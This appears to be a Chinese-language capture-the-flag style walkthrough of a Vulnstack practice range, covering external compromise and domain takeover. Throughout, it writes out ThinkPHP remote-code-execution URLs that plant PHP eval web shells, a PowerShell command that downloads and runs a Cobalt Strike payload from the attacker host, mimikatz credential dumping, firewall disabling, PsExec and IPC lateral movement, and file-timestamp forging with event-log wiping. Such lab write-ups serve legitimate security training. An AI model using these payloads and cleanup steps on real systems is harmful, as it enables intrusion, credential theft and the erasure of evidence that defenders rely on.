说明:关于该复现中的问题欢迎vx交流:Bestboysendit
目录:
一、靶场信息:
二、外网渗透:
方式一:
方式二:
三、内网进攻:
四、痕迹清理:
五、参考链接:
一、靶场信息:
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习,此靶场主要用来学习,请大家遵守网络网络安全法。
描述
虚拟机密码
win7
sun\heart 123.com
win7内域用户登录
Administrator
dc123.com
进入系统密码
123.com
2008
sun\admin 2020.com
进入系统密码:
2020.com
Win7双网卡模拟内外网
win7需要进C盘目录给phpstudy发送快捷方式到桌面后开启;
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.漏洞利用Getshell
5.系统信息收集
6.主机密码收集
7.内网–继续信息收集
8.内网攻击姿势–MS14-058
9.内网攻击姿势–MS17-010
10.psexec远控
11.内网其它主机端口
12.netsh增删防火墙规则
13.内网其它主机端口-代理转发
14.域渗透-域成员信息收集
15.域渗透-基础服务弱口令探测及深度利用之powershell
16.域渗透-横向移动[wmi利用]
17.域渗透-域控实现与利用
18、日志清理
二、外网渗透:
方式一:
1、nmap开扫:
经排查,192.168.135.150为目标地址:,开着80端口和3306
Nmap scan report for 192.168.135.150
Host is up (0.0037s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.56 seconds
3 先上tp扫描:
下载位置:
https://github.com/tangxiaofeng7/TPScan/releases/tag/V1.1
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=powershell%20pwd
6、写shell:
先尝试:
http://192.168.135.150/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20phpinfo();?^%3E%3Etest.php
http://192.168.135.150/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"]);?^>>shell.php
换点内容:
http://192.168.135.150/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%27c%27]);?^%3E%3Eeye.php
方式二:
目录扫描中得到的add.php是已经有的大马,需要密码:
dirsearch -u http://192.168.135.150
Target: http://192.168.135.150/
[12:45:58] Starting:
[12:45:58] 403 - 210B - /%ff
[12:46:07] 403 - 220B - /.ht_wsr.txt
[12:46:07] 403 - 223B - /.htaccess.bak1
[12:46:07] 403 - 223B - /.htaccess.orig
[12:46:07] 403 - 225B - /.htaccess.sample
[12:46:07] 403 - 223B - /.htaccess.save
[12:46:07] 403 - 224B - /.htaccess_extra
[12:46:07] 403 - 223B - /.htaccess_orig
[12:46:07] 403 - 221B - /.htaccess_sc
[12:46:07] 403 - 221B - /.htaccessBAK
[12:46:07] 403 - 221B - /.htaccessOLD
[12:46:07] 403 - 222B - /.htaccessOLD2
[12:46:07] 403 - 214B - /.html
[12:46:07] 403 - 213B - /.htm
[12:46:07] 403 - 223B - /.htpasswd_test
[12:46:07] 403 - 220B - /.httr-oauth
[12:46:07] 403 - 219B - /.htpasswds
[12:46:19] 200 - 931B - /0
[12:46:33] 403 - 225B - /Trace.axd::$DATA
[12:46:43] 200 - 2KB - /add.php
[12:47:41] 200 - 1KB - /favicon.ico
[12:47:50] 200 - 931B - /index
[12:47:50] 200 - 931B - /index.php
[12:47:50] 200 - 931B - /index.html
[12:47:50] 200 - 88KB - /index2.php
[12:48:26] 200 - 24B - /robots.txt
[12:48:30] 200 - 0B - /shell.php
[12:48:35] 301 - 238B - /static -> http://192.168.135.150/static/
[12:48:36] 301 - 240B - /static.. -> http://192.168.135.150/static../
[12:48:40] 200 - 88KB - /test.php
Task Completed
或者用tp的读取源码poc,我这没读到,参考:
https://blog.csdn.net/qq_32393893/article/details/109674517
http://192.168.135.150//thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type%20add.php
三、内网进攻:
1、信息收集:
3、arp 扫描地址:内网有一台192.168.138.138的机器:
7、上CS神器:
先开启服务,密码123:
./teamserver 192.168.135.128 123
执行生成的命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.135.128:80/a'))"
8、获取密码:
方法一:
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” exit
方法二:使用 hashdump 和 logonpasswords 读内存和注册表密码,在 Credentials 模块下查看
不行
10、让DC上线:
方法一:
利用前面已经得到的密码——凭证传递:
这种方式因为不出网行不通,,
方法二:
因为域控是不与外网进行接触的,所以要先在已经上线的主机上建立一个监听:
然后生成一个Executable(S)木马,上传到win7上
上传到win7
因为自带的psexec只可以在目标可以访问外网的情况下使用所以这我们还要自己上传一个psexec.exe
因为win7的防火墙缘故,4444端口是进不去的可以
关闭防火墙:NetSh Advfirewall set allprofiles state off
或者添加规则来放行4444端口
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444
最后使用上传的psexec加上抓取的明文密码配合exe成功上线域控。
shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nw.exe
11、解决:
使用ipc 上 传 后 门 到 D C 然 后 g e t s h e l l 吧 建 立 I P C 上传后门到DC然后getshell吧 建立IPC 上传后门到DC然后getshell吧建立IPC连接
shell net use \\192.168.138.138\ipc$ "dc123.com" /user:administrator
shell net use
上传后门文件,查看DC服务器的时间,设置计划任务
shell copy C:\phpStudy\PHPTutorial\WWW\public\nw.exe \\192.168.138.138\c$
上线,上线时间可能会比设定时间稍微慢一点
下面两个方法就不尝试了……睡!!!
方法三:
https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
方法四:
https://mp.weixin.qq.com/s/Ue89ZO01uoztfO4jVAvmCw
四、痕迹清理:
1、修改文件时间戳:
这里上传的文件比较多,时间差别比较大,
随便改一个文件的时间:
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\phpStudy\PHPTutorial\WWW\public\nw.exe")
2、删除日志:
当我们做了一些操作都会记录到时间查看器里,而下面的 Powershell 就可清除相关日志:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:
wevtutil el 列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
meterperter自带清除日志功能:
clearev 清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
因为干啥都要登录,,,权限设置的太死,熬不住了天亮了,以后再探索……
五、参考链接:
thinkphp5.0.22漏洞:
https://www.cnblogs.com/st404/p/10245844.html
靶场打法:
https://www.liuyixiang.com/post/115882.html
https://www.freebuf.com/column/231458.html
https://blog.csdn.net/qq_32393893/article/details/109674517
psexec的用法
[https://blog.csdn.net/jamesdodo/article/details/81743224]